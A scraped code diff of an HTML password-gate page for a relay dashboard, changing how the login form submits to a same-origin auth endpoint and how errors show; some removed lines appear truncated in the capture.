|
233
|
+
<div class="card" role="dialog" aria-modal="true">
|
|
234
|
+
<form id="f" class="gate-form" autocomplete="off">
|
|
246
235
|
<input id="p" type="password" name="password" autocomplete="current-password" required autofocus/>
|
|
247
|
-
<button type="submit" id="go">Unlock</button>
|
|
248
236
|
</form>
|
|
249
|
-
<p class="hint">The server stores only a SHA-256 of this password in the environment, not the plaintext. Use HTTPS in production.</p>
|
|
250
237
|
</div>
|
|
251
238
|
<script>
|
|
252
239
|
(function(){
|
|
253
240
|
var f = document.getElementById('f');
|
|
254
|
-
var
|
|
241
|
+
var card = f && f.closest('.card');
|
|
255
242
|
var p = document.getElementById('p');
|
|
256
|
-
var
|
|
243
|
+
var busy = false;
|
|
257
244
|
f.addEventListener('submit', function(ev){
|
|
258
245
|
ev.preventDefault();
|
|
259
|
-
|
|
260
|
-
|
|
246
|
+
if (busy) return;
|
|
247
|
+
busy = true;
|
|
248
|
+
if (card) card.classList.remove('gate-err');
|
|
261
249
|
var text = p.value;
|
|
262
250
|
fetch('/api/relay-dashboard-auth', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ password: text }) })
|
|
263
251
|
.then(function(r){
|
|
264
252
|
if (r.status === 204) { window.location.replace((window.location.pathname || '/') + (window.location.search || '')); return; }
|
|
265
|
-
if (
|
|
266
|
-
e.textContent = 'Unexpected response (' + r.status + ').';
|
|
253
|
+
if (card) card.classList.add('gate-err');
|
|
267
254
|
})
|
|
268
|
-
.catch(function(){
|
|
269
|
-
.then(function(){
|
|
255
|
+
.catch(function(){ if (card) card.classList.add('gate-err'); })
|
|
256
|
+
.then(function(){ busy = false; });
|
|
270
257
|
});
|
|
271
258
|
})();
|
|
272
259
|
</script>
|